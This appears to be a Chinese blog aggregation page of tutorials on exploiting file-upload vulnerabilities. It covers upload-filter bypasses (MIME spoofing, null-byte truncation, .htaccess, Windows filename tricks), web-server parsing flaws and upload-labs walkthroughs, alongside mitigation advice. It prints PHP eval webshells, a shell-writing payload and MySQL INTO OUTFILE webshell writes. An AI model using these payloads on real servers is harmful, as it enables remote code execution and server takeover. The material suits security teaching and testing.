精华内容
下载资源
问答
  • 目录文件上传漏洞文件上传的过滤上传文件过滤的绕过上传html文件文件上传的防御upload-libs文件上传漏洞是指攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等...

    目录

                文件上传漏洞

                文件上传的过滤

                上传文件过滤的绕过

                上传html文件

                文件上传的防御

                upload-libs

    56846aa71802035619a6800576e3ab71.gif

    文件上传漏洞是指攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等

    fb7b28645ca07c4f86e87782ecd89c45.gifa5391f35f26a705170ddf175155bb516.gif        文件上传漏洞

    文件上传漏洞条件:

    · 上传的文件能被Web服务器当做脚本来执行

    · 我们能够访问到上传文件的路径

    服务器上传文件命名规则:

    · 第一种:上传文件名和服务器命名一致

    · 第二种:上传文件名和服务器命名不一致(随机,时间日期命名等),但是后缀一致

    · 第三种:上传文件名和服务器命名不一致(随机,时间日期命名等),后缀也不一致

    漏洞成因:由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。打个比方来说,如果你使用 php 作为服务器端的脚本语言,那么在你网站的上传功能处,就一定不能让用户上传 php 类型的文件,否则他上传一个木马文件,你服务器就被他控制了。因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

    一般我们会利用文件上传漏洞上传一句话木马,然后用菜刀连接获取 webshell。但是这里有两个问题:

    · 第一你的文件能上传到web服务器

    · 第二你的文件能被当成脚本文件执行,所以要想让上传文件被当成脚本执行,我们经常会和文件包含漏洞文件解析漏洞一起利用

    3f2996e4f04a5a8abd121fa6d3968413.gif文件上传过滤

    1. 前端脚本检测文件扩展名。当客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,前端的 js 脚本就对文件的扩展名进行检测来判断是否是可以上传的类型

    <script type="text/javascript">  function selectFile(fnUpload) {    var filename = fnUpload.value;     var mime = filename.toLowerCase().substr(filename.lastIndexOf("."));     if(mime!=".jpg")     {       alert("请选择jpg格式的照片上传");       fnUpload.outerHTML=fnUpload.outerHTML;           }    }script>

    2. 后端脚本检测文件扩展名,数据提交到后端,后端的函数对上传文件的后缀名进行检测,比如黑名单检测不允许上传 .php 、.asp 后缀格式的文件;白名单检测只允许上传 .jpg 格式的文件

    #后端php检测$info=pathinfo($_FILES["file"]["name"]);    $ext=$info['extension'];// 得到文件扩展名    if (strtolower($ext) == "php") {   #黑名单检测,不允许上传php格式的文件            exit("不允许的后缀名");          }

    3. 后端通过对上传文件的 Content-Type 类型进行黑白名单检测过滤 

    #后端对上传文件的 Content-Type类型进行检测,只允许上传 image/gif、image/jpeg、image/pjpeg格式的文件if (($_FILES["file"]["type"] != "image/gif") && ($_FILES["file"]["type"] != "image/jpeg")     && ($_FILES["file"]["type"] != "image/pjpeg")){    exit($_FILES["file"]["type"]);    exit("不允许的格式");

    4. 通过函数比如 getimagesize()  函数检测你上传的图片的大小是否是正常的图片大小,防止上传一句话木马。通过分析图片头部来判断这个是不是一个有效的图片格式,比如 jpg 格式图片头部是 JFIF ,gif头部是GIF89a,png头部是%PNG

    #后端检测上传的文件是否是正常大小的图片if(!getimagesize($_FILES["file"]["tmp_name"])){        exit("不允许的文件");      }

    注意:在生产环境中的过滤,往往是这些方法都会结合的,而不只是单单的某一个过滤方法。生产环境中的过滤是很严格的

    3f2996e4f04a5a8abd121fa6d3968413.gif上传文件过滤的绕过

    · 对于第一种前端脚本检测过滤,上传的时候上传 jpg 后缀的文件,然后用butpsuite进行抓包修改为.php的即可绕过。

    · 对于第二种后端过滤,如果是后端黑名单过滤的话,我们可以想尽任何办法绕过黑名单进行上传。比如如果目标服务器是windows系统的话,我们可以利用windows系统的解析漏洞,用burpsuite抓包,将文件名后缀改为 .php. 或者 .php ,因为在windows系统内是不允许文件以 . 或者空格结尾的。所以在绕过上传之后windows系统会自动去掉 点和空格。所以,该文件最终还是会被解析成 .php 。或者还可以将php三个字母变换大小写,因为在windows系统里面是不区分大小写的。如果是白名单检测的话,我们可以采用00截断绕过。00截断利用的是php的一个漏洞。在 php<5.3.4 版本中,存储文件时处理文件名的函数认为0x00是终止符。于是在存储文件的时候,当函数读到 0x00(%00) 时,会认为文件已经结束。
    例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。

    · 对于第三种过滤,可以使用burpsuite进行抓包修改 Content-Type 类型

    · 对于第四种过滤,可以将一句话木马写入到正常的图片中:copy  /b  1.jpg+1.php  2.jpg 。然后在利用burpsuite修改后缀为 .php ,或者利用文件包含漏洞或者文件解析漏洞,将其解析成 php脚本即可

    · 还有其他的过滤,比如多文件上传时,有时服务器只对第一个上传的文件进行了检查,这时通过上传多个文件并将恶意文件掺杂进其中也可绕过服务器的过滤。

    b9a75c38a3a1be8c6059c8152dd020d2.png

    00截断实验:

    http://ctf5.shiyanbar.com/web/upload/

    这个实验对用户上传文件是这样处理的,首先会对用户上传文件的后缀名进行检测,只能上传 jpg/gif/png 格式的文件,然后会对上传后的文件路径进行判断,如果是以 php 为后缀的就会返回flag,如果是以 jpg/gif/png 为后缀就会显示存储路径为固定的:./uploads/8a9e5f6a7a789acb.php

    b3c0bf8d4e3e4830b1d1660925fa1d46.gif     上传html文件

    有很多网站采用黑名单的过滤机制,但是他们忘记了过滤 html 文件,这就造成了上传html文件形成存储型XSS。

    b3c0bf8d4e3e4830b1d1660925fa1d46.gif文件上传的防御

    1. 客户端检测,使用 js 对上传图片检测,包括文件大小、文件扩展名、文件类型等

    2. 服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测、对文件重命名等

    3. 服务器端上传目录设置不可执行权限

    4. 检查网站有没有文件解析漏洞和文件包含漏洞

    5. 将文件上传到单独的文件服务器,并且单独设置文件服务器的域名

    b3c0bf8d4e3e4830b1d1660925fa1d46.gifupload-libs

    upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。upload-libs的项目地址:https://github.com/c0ny1/upload-labs

    1:前端js限制文件后缀,抓包修改进行绕过

    2:后端检测Content-Type类型,抓包修改Content-Type进行绕过

    3:后端黑名单限制,禁止上传asp、aspx、php、jsp后缀的文件,可以上传php2进行绕过

    4:  后端黑名单限制,禁止上传了很多后缀的文件。我们可以上传.htaccess文件,

    5:  后端黑名单限制,但是只过滤了小写后缀的文件,于是我们可以将文件后缀大写

    6:后端黑名单限制,可以利用windows系统特性,利用空格进行绕过

    7:后端黑名单限制,可以利用windows系统特性,利用.进行绕过

    8:后端黑名单限制,可以利用windows+php系统特性,利用 ::$DATA 进行绕过

    9:后端黑名单限制,可以利用windows系统特性,利用.空格. 进行绕过

    10: 后端黑名单限制,可以 双写后缀名 进行绕过

    11: 后端白名单限制,需结合特定环境利用 00截断 绕过

    12: 后端白名单限制,需结合特定环境利用 00截断 绕过

    13: 后端检测上传文件的开头两个字节,制作图片马,利用服务器的文件包含漏洞

    14: 后端检测上传文件的大小,制作图片马,利用服务器的文件包含漏洞

    15: 后端检测图片类型,制作图片马,利用服务器的文件包含漏洞

    16: 后端对上传文件做二次渲染,利用二次渲染绕过

    17: 条件竞争

    18: 条件竞争

    19: ./ 绕过

    20: 数组/.绕过

    关于upload-libs的详情做法:upload-labs  ,这个文章总结的很好

    e7bc8f5f7131762633cfda87b663a335.png

    ee957194320e1e8be2074f78d4c08047.gif

    :梁粉

    a66052d817cb6f0a66f43aa2f156ed40.pnga66052d817cb6f0a66f43aa2f156ed40.pngfe398815f7daa7008c3ac5e87fb004e8.png由于文章篇幅较长,请大家耐心。如果文中有错误的地方,欢迎指出。有想转载的,可以留言我加白名单。最后,欢迎加入谢公子的小黑屋(安全交流群)(QQ群:783820465)363d837ba2377c2f65cc6198e8f5bfa6.gifa66052d817cb6f0a66f43aa2f156ed40.pnga66052d817cb6f0a66f43aa2f156ed40.png  
    展开全文
  • 文件上传漏洞是web安全中经常利用到的一种漏洞形式。一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码...

    文件上传漏洞是web安全中经常利用到的一种漏洞形式。一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码。

    0x01文件上传校验姿势

    (1)客户端javascript校验(一般只校验后缀名)

    (2)服务端校验

    文件头content-type字段校验(image/gif)

    文件内容头校验(GIF89a)

    后缀名黑名单校验

    后缀名白名单校验

    自定义正则校验

    (3)WAF设备校验(根据不同的WAF产品而定

    客户端校验

    一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。

    判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

    服务端校验

    content-type字段校验

    这里以PHP代码为例,模拟web服务器端的校验代码

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    if($_FILES['userfile']['type'] != "image/gif")

    #这里对上传的文件类型进行判断,如果不是image/gif类型便返回错误。

    {

    echo "Sorry, we only allow uploading GIF images";

    exit;

    }

    $uploaddir = 'uploads/';

    $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))

    {

    echo "File is valid, and was successfully uploaded.\n";

    } else {

    echo "File uploading failed.\n";

    }

    ?>

    可以看到代码对上传文件的文件类型进行了判断,如果不是图片类型,返回错误。

    文件头校验

    可以通过自己写正则匹配,判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:

    (1) .JPEG;.JPE;.JPG,”JPGGraphic File”

    (2) .gif,”GIF 89A”

    (3) .zip,”Zip Compressed”

    (4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

    0x02文件上传绕过校验姿势

    (1)客户端绕过(抓包改包)

    (2)服务端绕过

    文件类型

    文件头

    文件后缀名

    (3)配合文件包含漏洞绕过

    (4)配合服务器解析漏洞绕过

    (4)CMS、编辑器漏洞绕过

    (5)配合操作系统文件命名规则绕过

    (6)配合其他规则绕过

    (7)WAF绕过

    客户端绕过

    可以利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可。

    服务端绕过

    文件类型绕过

    我们可以通过抓包,将content-type字段改为image/gif

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    POST /upload.php HTTP/1.1

    TE: deflate,gzip;q=0.3

    Connection: TE, close

    Host: localhost

    User-Agent: libwww-perl/5.803

    Content-Type: multipart/form-data; boundary=xYzZY

    Content-Length: 155

    --xYzZY

    Content-Disposition: form-data; name="userfile"; filename="shell.php"

    Content-Type: image/gif (原为 Content-Type: text/plain)

    文件头绕过

    在木马内容基础上再加了一些文件信息,有点像下面的结构

    1

    GIF89a<?php phpinfo(); ?>

    文件后缀名绕过

    前提:黑名单校验

    黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。

    绕过方法:

    (1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类

    (2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类

    能被解析的文件扩展名列表:

    jsp jspx jspf

    asp asa cer aspx

    php php php3 php4

    exe exee

    配合文件包含漏洞

    前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。

    绕过方式:(这里拿php为例,此漏洞主要存在于PHP中)

    (1)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;

    (2)然后再上传一个.php的文件,内容为

    此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:

    1

    2

    3

    4

    5

    6

    7

    8

    #PHP

    #ASP

    #JSP

    or

    配合服务器解析漏洞

    IIS5.X-6.X解析漏洞

    使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

    目录解析(6.0)

    形式:http://www.xxx.com/xx.asp/xx.jpg

    原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

    文件解析

    形式:http://www.xxx.com/xx.asp;.jpg

    原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

    解析文件类型

    IIS6.0 默认的可执行文件除了asp还包含这三种 :

    /test.asa

    /test.cer

    /test.cdx

    修复方案

    1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。

    2.做好权限设置,限制用户创建文件夹。

    APACHE解析漏洞

    漏洞原理

    Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

    漏洞形式

    http://www.xxxx.xxx.com/test.php.php123

    其余配置问题导致漏洞

    (1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

    (2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

    (3)Apache解析漏洞(CVE-2017-15715)绕过上传黑名单

    我们利用CVE-2017-15715,上传一个包含换行符的文件。注意,只能是\x0A,不能是\x0D\x0A,所以我们用hex功能在1.php后面添加一个\x0A:

    1.png

    然后访问/1.php%0A,即可发现已经成功getshell:

    2.png

    修复方案

    (1)apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

    1

    2

    3

    4

    Order Allow,Deny

    Deny from all

    (2)用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so

    把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    RewriteEngine On

    RewriteRule .(php.|php3.) /index.php

    RewriteRule .(pHp.|pHp3.) /index.php

    RewriteRule .(phP.|phP3.) /index.php

    RewriteRule .(Php.|Php3.) /index.php

    RewriteRule .(PHp.|PHp3.) /index.php

    RewriteRule .(PhP.|PhP3.) /index.php

    RewriteRule .(pHP.|pHP3.) /index.php

    RewriteRule .(PHP.|PHP3.) /index.php

    NGINX<8.03解析漏洞

    另外一种手法

    上传一个名字为test.jpg,以下内容的文件。

    1

    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

    然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

    修复方案

    (1)修改php.ini文件,将cgi.fix_pathinfo的值设置为0;

    (2)在Nginx配置文件中添加以下代码:

    1

    2

    3

    if ( $fastcgi_script_name ~ ..*/.*php ) {

    return 403;

    }

    这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。

    IIS7.5解析漏洞

    IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

    配合操作系统文件命令规则

    上传不符合WINDOWS文件命名规则的文件名

    test.asp.

    test.asp(空格)

    test.php:1.jpg之后传输数据流test.<<

    3.png

    test.php::$DATA

    shell.php::$DATA…….

    会被windows系统自动去掉不符合规则符号后面的内容。

    LINUX下后缀名大小写

    在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。

    CMS、编辑器漏洞

    (1)CMS漏洞:比如说JCMS等存在的漏洞,可以针对不同CMS存在的上传漏洞进行绕过。

    (2)编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过。

    后台管理数据备份拿Shell

    第一步:上传一句话,记录文件地址

    第二步:备份数据库,将地址换成木马上传的地址,备份

    第三步:重命名,将图片格式的换成php,asp,jsp格式的

    第四步:如果备份数据库路径不能改的话

    解决办法:(1)抓包工具修改地址

    (2)在前端HTML里面改

    第五步:在设置页面插入,注意语句的闭合

    phpmyadmin

    第一步:获取网站的绝对路径

    报错显示路径

    phpinfo()显示

    第二步:找记录日志的文件,开启记录日志

    4.png

    第三步:修改日志存放的路径(网站的绝对路径)

    5.png

    第四步:将php一句话木马写入日志

    1

    select "<?php eval($_POST['pass']);?>"

    SQL语句创建表写入一句话

    第一步:创建表,表里建一个列

    1

    creat table `mysql`.`biao`(`biao2` text not null);

    第二步:将一句话插入到表中

    1

    insert into `mysql`.`biao`(`biao2`)values('<?php @eval($_POST['pass']);?>')

    第四步:将表导出,知道网站的绝对路径

    1

    select biao2 from biao into outfile '网站绝对路径';

    SQL语句写入一句话

    写入文件一句话(网站绝对路径)

    1

    select '<?php @eval($_POST[x]);?>' into outfile '网站绝对路径\1.php';

    有时用16进制写入

    1

    select 0x3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e,2 into outfile '网站绝对路径\1.php'

    读取文件

    1

    select load_file('文件地址')

    配合其他规则

    (1)0x00截断(php 版本<5.3.4):基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候

    test.php(0x00).jpg

    test.php%00.jpg

    (2)JPG文件解析

    上传一个.htaccess文件:这样整个文件夹里的jpg文件全部解析为php文件

    1

    2

    3

    4

    5

    6

    7

    8

    AddType applocation/x-httpd-php .jpg

    Options +FollowSymlinks -Multiviews

    RewriteEngine on

    RewriteCond %{REQQUEST_FILENAME} !-d

    RewriteCond %{REQQUEST_FILENAME} !-f

    RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]

    展开全文
  • 但是今天不是说代码审计的事情,而是文件上传的东东 小白在对 writeup 上传靶机中发现,通审查源代码能够让我们更清晰的了解文件上传漏洞。话不多说,下面我们就开干。在下面的实验中可能会与这个靶机的顺序不一样。...

    71ea7bb706a37bb09c9f71d117294096.gif

    最近小白一直在学习代码审计,对于我这个没有代码审计的菜鸟来说确实是一件无比艰难的事情。但是今天不是说代码审计的事情,而是文件上传的东东 小白在对 writeup 上传靶机中发现,通审查源代码能够让我们更清晰的了解文件上传漏洞。话不多说,下面我们就开干。在下面的实验中可能会与这个靶机的顺序不一样。有什么不足,还望大佬多多指教。

    首先我们先准备一下实验环境:

    1、win10

    2、wamp

    3、一句话木马文件

    4、burp 抓包工具

    文件上传–前端 JS 绕过

    e485ed3b944f9e99322e870b33f4fcce.png

    我们通过查看源代码的第 8 行代码 var allow_ext = “.jpg|.png|.gif”可以知道前端 JS 对文件的上传的缀名做了限制,但是未向服务器端发送验证消息 故造成我们可以通过抓包修改后缀名来绕过前端的限制。

    首先我们先写一个 php 的小马文件,然后将一句话木马保存为 shell.jpg,内容如下:

    <?php  eval($_GET['cmdback']);?>

    我们通过抓包修改上传文件后缀可以成功绕过限制,文件路径也在返回包中显示,这样我们就可以使用菜刀进行连接,从而获取到服务器的 webshell进一步对服务器进行提权。

    833e4c1271b788df08fd630a8cc98de2.png

    前端绕过后缀名

    1ea6a5811320fd215a456c8501834d2d.png

    通过审查源代码在第 5 行和第 7 行的代码中,对于上传的文件 MIME 类型进行了验证判断。writeup 对于上传后的文件的路径是 UPLOAD_PATH/上传的文件名拼接而成的。我们可以通过修改截断上传数据包,修改 Content-Type 为 image/gif,然后放行数据包, 这样的话我们就可以绕过限制。

    04731a5560fd346e066ca3d8188ebf71.png

    绕过黑名单验证

    首先我们还是先来看一下代码通过代码我们来判断文件上传是否存在被绕过的可能性。

    4af51ce69d0e6437e11f8350fed662e9.png

    代码中第 4 行到第 11 行程序对上传的文件名、文件上传路径做了一下过滤,值得注意的是第 5 行代码中定义了一个文件上传后缀名黑名单的数组不允许.asp\.aspx\.php\.jsp 的后缀名的文件进行上传,如果上传的是这些后缀名的文件,第 22 行代码中就会提示不允许上传。13 行到 15 行是对上传后的文件名称的命名的一个规则通过代码我们可以知道命名规则是以日期10000-9999 随机数拼接而成的。

    既然我们知道了上传文件的限制我们可以通过抓包修改文件后缀为.php4只要能绕过后面的是什么就不重要这样我们就可以成功绕过黑名单限制。

    d1f69b7748a71b51c7626428a04e7365.png

    重写文件解析规则绕过限制

    c6c5f03cd1f5beecbafdeb4dfbd8f2bf.png

    通过代码中可以看出程序对于文件上传的后缀名的过滤增加了.php4 的后缀名的文件,这样的话我们再上传.php4 文件名后缀的文件就行不通,那么还可以通过重写文件解析规则来绕过限制 , 创建一下一个.htaccess 文件,内容如下:


    SetHandler application/x-httpd-php

    我们先创建一个 php 的图片马,创建的方法命令:

    使用 dos 命令制作一句话图片木马。

    /a 指定以 ASCII 格式复制、合并文件。用于 txt 等文档类文件;

    /b 指定以二进制格式复制、合并文件; 用于图像类/声音类文件;

    copy 1.jpg/b+1.php 2.jpg   //将 1.jpg 以二进制与 1.php 合并成 2.jpg;

    生成后的 2.jpg 就是图片木马了。

    a052584f0d710f88d3014f1a9a3cbc3d.png

    首先我们先上传.htaccess 文件:

    1061e3f6d3a882fd2a9be80a59c5530a.png

    .htaccess 文件上传成功后,我们将 2.jpg 上传到服务器。

    063b32abac0fa98b291a0842600ce665.png

    f725374381c4fe5b412f83290c959580.png

    这里说一点:通过.htaccess 文件调用 php 解析器去解析一个文件名中只要包含”1.jpg”这个字符串的任意文件,无论扩展名是什么,都以 php 的方式来解析。

    如果不用.htaccess 文件调用 php 解析器去解析的话,就算是图片马,服务器也不会去解析的:如图:

    d9440a4e852c359325da8801d5947897.png

    文件后缀大小写绕过限制

    030f497b3b17354d59c31129c8d01abf.png

    通读代码还是看第 4 行到第 10 行的内容,主要是对上传文件的后缀以及内容进行过滤,.htaccess 后缀也做了限制。但是我们发现对文件的上传的限制貌似少了一条规则:$file_ext = strtolower($file_ext);  //将后缀名转换为小写那么我们可以通过修改后缀名为大写来绕过这个漏网之鱼。

    88791419d263ca94120e0ca439db2cc5.png

    a7ab666aed569dc823412460a3ecc6e5.png

    利用 Windows 系统的文件名特性来绕过文件上传限制

    e2d0b3f7e84ebecf9ce84817ac51d4d2.png

    通过查看代码发现对文件上传的后缀类型增加了.phP 之类的文件,也不能利用::$DATA 绕过。那么我们可以利用 Windows 系统的文件名特性来绕过限制,通过. 以及_和空格。

    087354f7363007e436a517c705c9e534.png

    4bd165f065e5d5880251a5d3f64e8f6d.png

    Windows 文件流特性绕过

    446d9bd1a3e96d3df98ffde5aab9e097.png

    $file_ext = str_ireplace(‘::$DATA’, ”,$file_ext);//去除字符串::$DATA,在限制上传文件的代码中少了这个限制我们可以通过 windows 文件流特征来绕过限制。

    说明一下如果在开放中程序员对文件上传忽略了对文件后缀名进行::$DATA 处理的话那么测试人员可以根据 windows 文件流特征来绕过限制我们通过抓包修改上传文件的后缀名,在后缀名后面添加::$DATA 来进行绕过。

    2194aebe2dd4e2aeee63947bf0c9dbb6.png

    240a220ff41ab15d1d54021318a48041.png

    双文件名绕过限制

    8d73dfe70684bdc71d82bc7dac0a29ac.png

    通过代码可以看出在第 10 行代码中可以看到上传后的文件名是$file_name 直接拼接而成的第 8 行代码中对上传的文件后缀只进行了一次过滤可以通过抓包双写文件后缀进行绕过限制。

    689b8043a2709e97f2eaf71bc2beb9a5.png

    9e3a130ecb219d0be0a8bc8cbf075af6.png

    %00 截断绕过上传限制

    通过代码我们可以知道服务端对于上传文件名后缀做了限制 第 8 行代码中我们可得知上传路径命名的规则是当用户 get 请求的 save_path 的值拼接而成的,这个%00 截断需要的权限比较大,把上传的文件名写成 2.jpg, save_path 改成../upload/1.php%00,最后保存下来的文件就是 2.php。说明一下,第 8 行代码中可以看到是用户是通过 get 请求的,如果是 post 请求的话需要另一个办法上传路径 0×00 绕过。利用 Burpsuite 的 Hex 功能将 save_path 改成../upload/1.php【二进制 00】形式。

    绕过文件头

    febe359ed7dba6a7da9ff4cde8841000.png

    在测试过程中经常会遇到文件头检查,只要代码检测到上传的文件头与代码中所规定的不一致的时候会禁止上传文件,但是我们可以通过修改文件头来绕过文件头检查。

    3a21d2d99519b176e3cd728b27a68789.png

    在代码中 8–20 行代码利用 switch 进行对变量$typeCode 判断文件头是否符合代码中的规定,如果符合就跳出循环否则会返回一个提示为 unknown。

    我们成功上传到了服务器,但是我们拿不到 webshell,这个漏洞一般都是配合通常图片马配合%00 或者 0×00 截断上传,或者配合解析漏洞。

    961b1749d39d22cdca46d6d49baa76df.png

    总结:

    在小白看来大部分的文件上传漏洞产生的原因为以下两点:

    1、Web 应用程序未对用户上传文件的格式以及内容未做严格的过滤;

    2、Web 服务器的解析漏洞来配合上传突破防护。

    防护建议:

    1、检查文件上传的路径避免解析漏洞%00 截断等;

    2、文件的扩展名检测;

    3、文件 MIME 的验证;

    4、对上传文件的目录做限制比如上传的文件不能解析。

    5、对于上传文件的路径限制返回信息或者对返回信息进行多重加密。

    ea0d217b29b30f2134f426ab94d3712c.gif

    展开全文
  • 文件上传漏洞就是利用网页代码中的文件上传路径变量过滤不严将可执行的文件上传到一个到服务器中,再通过URL去访问以执行恶意代码。二、检测与绕过客户端检测(Javascript检测)在网页上写一段Javascript脚本,校验...

    File Upload

    一、原理

    一些web应用程序中允许上传图片,文本或者其他资源到指定的位置。

    文件上传漏洞就是利用网页代码中的文件上传路径变量过滤不严将可执行的文件上传到一个到服务器中,再通过URL去访问以执行恶意代码。

    e874c11a912f4f10ad0327521ac9e249.png

    二、检测与绕过

    客户端检测(Javascript检测)

    在网页上写一段Javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。

    绕过方法:

    1.直接禁用Javascript实现绕过。

    2.先改成允许上传的文件类型,然后用Burpsuite改成脚本文件类型,即可绕过。

    服务端检测(MINE类型检测)

    MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。

    绕过:用Burpsuite抓到请求包,更改Content-Type为允许的类型。

    常见MIMETYPE

    audio/mpeg -> .mp3

    application/msword -> .doc

    application/octet-stream -> .exe

    application/pdf -> .pdf

    application/x-javascript -> .js

    application/x-rar -> .rar

    application/zip -> .zip

    image/gif -> .gif

    image/jpeg -> .jpg / .jpeg

    image/png -> .png

    text/plain -> .txt

    text/html -> .html

    video/mp4 -> .mp4

    服务端检测(目录路径检测)

    对目录路径的检测不够严谨而导致可以用00截断进行攻击

    绕过:/123.php%00.gif/123.gif -> /123.php

    服务端检测(文件扩展名检测)

    1.文件名大小写绕过,如: *.aSP *.AsP

    2.名单列表绕过,如:*.asa *.cer

    3.特殊文件名绕过 //windows文件名最后不能有.或空格,可设为 *.php. 或 *.php+

    4.0x00截断绕过 //如:*.php(0x00).jpg 或 *.php%00.jpg

    5.文件包含漏洞

    6.服务器解析漏洞

    7..htaccess文件攻击

    SetHandler application/x-httpd-php

    .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

    服务端检测(文件内容检测)

    文件幻数检测(文件开头)

    幻数 magic number,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。

    .jpg FF D8 FF E0 00 10 4A 46 49 46

    .gif 47 49 46 38 39 61

    .png 89 50 4E 47

    文件加载检测

    1.对渲染/加载测试的攻击方式是代码注入绕过

    使用winhex在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区

    2.对二次渲染的攻击方式是攻击文件加载器自身

    如果要对文件加载器进行攻击,常见的就是溢出攻击;上传自己的恶意文件后,服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行 shellcode,比如 access/mdb 溢出

    三、防御

    文件扩展名服务端白名单校验。

    文件内容服务端校验。

    上传文件重命名。

    隐藏上传文件路径。

    限制相关目录的执行权限,防范webshell攻击。

    展开全文
  • 突破后缀限制文件上传漏洞

    千次阅读 2018-05-04 16:11:52
    首先,服务器验证文件扩展名的时候,验证的是.abc,只要改扩展名符合服务器端黑名单规则,即可上传。另外,当在浏览器端访问该文件时,Apache如果解析不了.abc扩展名,会向前寻找可解析的扩展名,即”.php”。一句话...
  • 文件上传漏洞 —— 内部文件上传系统漏洞分析溯源 这篇主要复现墨者学院的一个内部文件上传漏洞,内部文件上传系统漏洞分析溯源,还有另一题会写到另一篇里面。 关于文件上传漏洞,前面我的博客里面有写原理以及...
  • 但是今天不是说代码审计的事情,而是文件上传的东东 小白在对 writeup 上传靶机中发现,通审查源代码能够让我们更清晰的了解文件上传漏洞。话不多说,下面我们就开干。在下面的实验中可能会与这个靶机的顺序不一样。...
  • 文件上传漏洞

    2020-02-25 22:02:54
    文件上传漏洞: 是指网络攻击者上传了一个可执行的文件到服务器并执行。 这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。 这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,...
  • 0X01 MIME类型检测 MIME字段是HTTP协议规定的用来识别文件类型的字段。在上传资源时浏览器会在Header中加入MIME字段,服务器端对类型进行检查。但由于Header是可以被修改的,所以光靠MIME类型检测是不安全的。常见的...
  • 文件上传漏洞 文件上传漏洞是WEB安全中经常利用到的一种漏洞形式。这种类型的攻击从大的类型上来说是攻击“数据与代码分理原则”的一种攻击。 一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件...
